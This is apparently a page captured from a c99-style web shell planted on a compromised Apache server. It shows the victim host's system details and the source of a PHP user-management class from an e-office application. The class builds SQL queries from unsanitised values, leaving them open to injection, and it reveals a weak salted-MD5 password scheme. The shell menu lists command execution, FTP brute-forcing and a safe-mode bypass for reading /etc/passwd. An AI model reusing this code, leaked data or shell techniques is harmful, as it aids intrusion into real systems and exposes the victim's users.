!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/eoffice_b/ums/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsUmUser.php (6.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
//--Class umuser--------------------------
//--PK of umuser ::
//    1. UsID
class umuser extends clsDB{

var 
$result;

var 
$UsID;
var 
$UsName;
var 
$UsLogin;
var 
$UsPassword;
var 
$UsPsCode;            //personId, studentId
var $UsWgID;
var 
$UsQsID;
var 
$UsAnswer;
var 
$UsEmail;
var 
$UsActive;
var 
$UsAdmin;
var 
$UsDesc;
var 
$UsPwdExpDt;
var 
$UsUpdDt;
var 
$UsUpdUsID;
var 
$UsSessionID;

var 
$name;
var 
$dptID;
var 
$dptName;
var 
$posID;
var 
$posName;

function 
umuser(&$c){
    
$this->c=$c->c
    
$this->DB=$c->db;
}

function 
Save(){
//--ใช้เมธอดนี้เมื่อต้องการบันทึกข้อมูลในอ๊อบเจ๊กเข้าสู่ฐานข้อมูล
//--โดยจะตรวจสอบสถานะของข้อมูลว่าข้อมูลในอ๊อบเจ๊กเป็นข้อมูลใหม่หรือข้อมูลเดิม
//--1 เป็นข้อมูลใหม่  2 เป็นข้อมูลเดิม
    
if ($this->status==1){
        
$this->UsID=$this->GetNextCode();
        
$sql "insert into umuser values(
            '$this->UsID',
            '$this->UsName',
             '$this->UsLogin',
             '$this->UsPassword',
             '$this->UsPsCode',
             '$this->UsWgID',
             '$this->UsQsID',
             '$this->UsAnswer',
             '$this->UsEmail',
             '$this->UsActive',
             '$this->UsAdmin',
             '$this->UsDesc',
             '$this->UsPwdExpDt',
             '$this->UsUpdDt',
             '$this->UsUpdUsID',
             '$this->UsSessionID'
            )"
;
    }else {
        
$sql "update umuser set 
            UsName='$this->UsName', 
            UsLogin='$this->UsLogin', 
            UsPassword='$this->UsPassword', 
            UsPsCode='$this->UsPsCode', 
            UsWgID='$this->UsWgID', 
            UsQsID='$this->UsQsID', 
            UsAnswer='$this->UsAnswer', 
            UsEmail='$this->UsEmail', 
            UsActive='$this->UsActive', 
            UsAdmin='$this->UsAdmin', 
            UsDesc='$this->UsDesc', 
            UsPwdExpDt='$this->UsPwdExpDt', 
            UsUpdDt='$this->UsUpdDt', 
            UsUpdUsID='$this->UsUpdUsID', 
            UsSessionID='$this->UsSessionID' 
            where UsID='$this->UsID' "
;
    }
    return 
$this->Dml($sql);
}

function 
Delete(){
//--ใช้เมธอดนี้เพื่อลบข้อมูลเดิมในอ๊อบเจ๊ก
//--เป็นการลบข้อมูลทีละ 1 เรคอร์ด
//--ต้องเรียกเมธอดตามลำดับดังนี้ SearchByKey()-->GetRecord()-->Delete()
    
include_once("global.php");
    if (!
class_exists("clsConnection"))
        include_once(
"../class/clsConnection.php");
    if (!
class_exists("clsDB"))
        include_once(
"../class/clsDB.php");
    if (!
class_exists("clsUmUserGroup"))
        include_once(
"clsUmUserGroup.php");
    if (!
class_exists("clsUmPermission"))
        include_once(
"clsUmPermission.php");
    
$oC1 = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
    
$oUg = new umusergroup($oC1);
    
$oUp = new umpermission($oC1);
    
$flg=true;
    
$flg $oUg->DeleteByUsID($this->UsID);
    
$flg $oUp->DeleteByUs($this->UsID);
    
$sql="delete from umuser where UsID='$this->UsID' ";
    
$flg $this->Dml($sql);
    return 
flg;
}

function 
GetNextCode(){
//--ใช้เมธอดนี้เพื่อหาค่าสูงสุดของฟิลด์ที่ใช้เป็นคีย์ของตาราง ในลักษณะ auto increment
//--ต้องเป็นฟิลด์ที่ไม่ได้กำหนดรหัสเองทางจอภาพ
    
$this->SetQuery("select max(UsID) as num from umuser");
    if (
$result=$this->GetResult()) {
        return 
$result['num']+1;
    }else{
        return 
1;    
    }
}

function 
RSumuser(){
//--เมธอดที่ขึ้นต้นด้วย RS (Result Set) มีความหมายว่าจะได้รับข้อมูลกลับมาจากการ select มากกว่า 1 เรคอร์ด
//--ปกติเมื่อเรียกใช้เมธอด RSxxxx จะต้องเรียกเมธอด GetRecord() ด้วยเสมอ
//--โดยสามารถเพิ่มเมธอดได้ตามต้องการ แต่ต้องขึ้นต้นด้วย RS
    
$this->SetQuery("select *     from umuser order by uspscode");
}

function 
GetRecord(){
//--เป็นเมธอดที่นำข้อมูลจาก ResultSet มากำหนดให้กับแอตทริบิวต์ของอ๊อบเจ็ก
//--เรียก GetRecord() หนึ่งครั้ง จะเลื่อนตัวชี้เรคอร์ดไปอีกหนึ่งเรคอร์ด
    
if ($this->result $this->GetResult()) {
        
$this->UsID $this->result['UsID'];
        
$this->UsName $this->result['UsName'];
        
$this->UsLogin $this->result['UsLogin'];
        
$this->UsPassword $this->result['UsPassword'];
        
$this->UsPsCode $this->result['UsPsCode'];
        
$this->UsWgID $this->result["UsWgID"];
        
$this->UsQsID $this->result['UsQsID'];
        
$this->UsAnswer $this->result['UsAnswer'];
        
$this->UsEmail $this->result['UsEmail'];
        
$this->UsActive $this->result['UsActive'];
        
$this->UsAdmin $this->result['UsAdmin'];
        
$this->UsDesc $this->result['UsDesc'];
        
$this->UsPwdExpDt $this->result['UsPwdExpDt'];
        
$this->UsUpdDt $this->result['UsUpdDt'];
        
$this->UsUpdUsID $this->result['UsUpdUsID'];
        
$this->UsSessionID $this->result['UsSessionID'];
        
$this->name=$this->result['NAME'];
        
$this->dptID=$this->result['DID'];
        
$this->dptName=$this->result['DNAME'];
        
$this->posID=$this->result['PID'];
        
$this->posName=$this->result['PNAME'];
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByKey($xKey){
//--ใช้เมธอดนี้เพื่อค้นหาข้อมูลตาม PK ต้องระบุพารามิเตอร์ด้วย
//--และต้องตามด้วยเมธอด GetRecord() เสมอ
    
if ($this->SetQuery("select * from umuser where UsID= '$xKey' ")) { 
        return 
1;
    }else {
        return 
0;
    }
}
//****************** You can add new functions below **********************//
function SearchByPersonID($xKey){
//--ใช้เมธอดนี้เพื่อค้นหาข้อมูลตาม PK ต้องระบุพารามิเตอร์ด้วย
//--และต้องตามด้วยเมธอด GetRecord() เสมอ
    
if ($this->SetQuery("select * from umuser where UsPsCode= '$xKey' ")) { 
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByLogin($xKey$passwd){
//--ใช้เมธอดนี้เพื่อค้นหาข้อมูลตาม uslogin, uspassword  ต้องระบุพารามิเตอร์ด้วย
//--และต้องตามด้วยเมธอด GetRecord() เสมอ
    
$sql="select * from umuser where UsLogin= '$xKey' and UsPassword='".md5("O]O".$passwd."O[O")."' ";
    if (
$this->SetQuery($sql)) { 
        return 
1;
    }else {
        return 
0;
    }
}
function 
SetSessionID($UsID$SessionID){
    
$sql "Update umuser set UsSessionID='$SessionID' where UsID='$UsID' ";
    
$this->Dml($sql);
}
function 
SearchByFilter($strFilter){
    if (
$this->SetQuery("select * from umuser where  $strFilter")) { 
        return 
1;
    }else {
        return 
0;
    }
}

function 
SearchByNameWGroup($loginname=""$name=""$WgID=""){
    
$strCond "";
   if (
$loginname<>""$strCond.=" and UsLogin like '%$loginname%' ";
    if (
$name<>""$strCond.=" and UsName like '%$name%' ";
    if (
$WgID<>""$strCond.=" and UsWgId='$WgID' ";
    
$sql "select *
            from umuser 
            where 1 $strCond "
;
    if (
$this->SetQuery($sql)) { 
        return 
1;
    }else {
        return 
0;
    }
}
function 
SearchByUserLogin($xKey){
//--ใช้เมธอดนี้เพื่อค้นหาข้อมูลตาม uslogin, uspassword  ต้องระบุพารามิเตอร์ด้วย
//--และต้องตามด้วยเมธอด GetRecord() เสมอ
    
if ($this->SetQuery("select * from umuser where UsLogin= '$xKey' ")) { 
        return 
1;
    }else {
        return 
0;
    }
}
function 
RSUserBySt($StID){
    
$sql="select distinct umuser.* 
          from umgroup, umusergroup, umuser
          where GpStID=$StID and GpID=UgGpID and UgUsID=UsID 
          order by UsName"
;
    
$this->SetQuery($sql);
}
function 
SearchByPsCodeWg($PsCode$WgID){
    
$sql "select * from umuser where UsPsCode='$PsCode' and UsWgID='$WgID' order by UsName";
    if (
$this->SetQuery($sql)) { 
        return 
1;
    }else {
        return 
0;
    }
}
function 
SearchByPsCode($PsCode){
    
$sql "select * from umuser where UsPsCode='$PsCode' order by UsName";
    if (
$this->SetQuery($sql)) { 
        return 
1;
    }else {
        return 
0;
    }
}
//--End class umuser--

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0148 ]--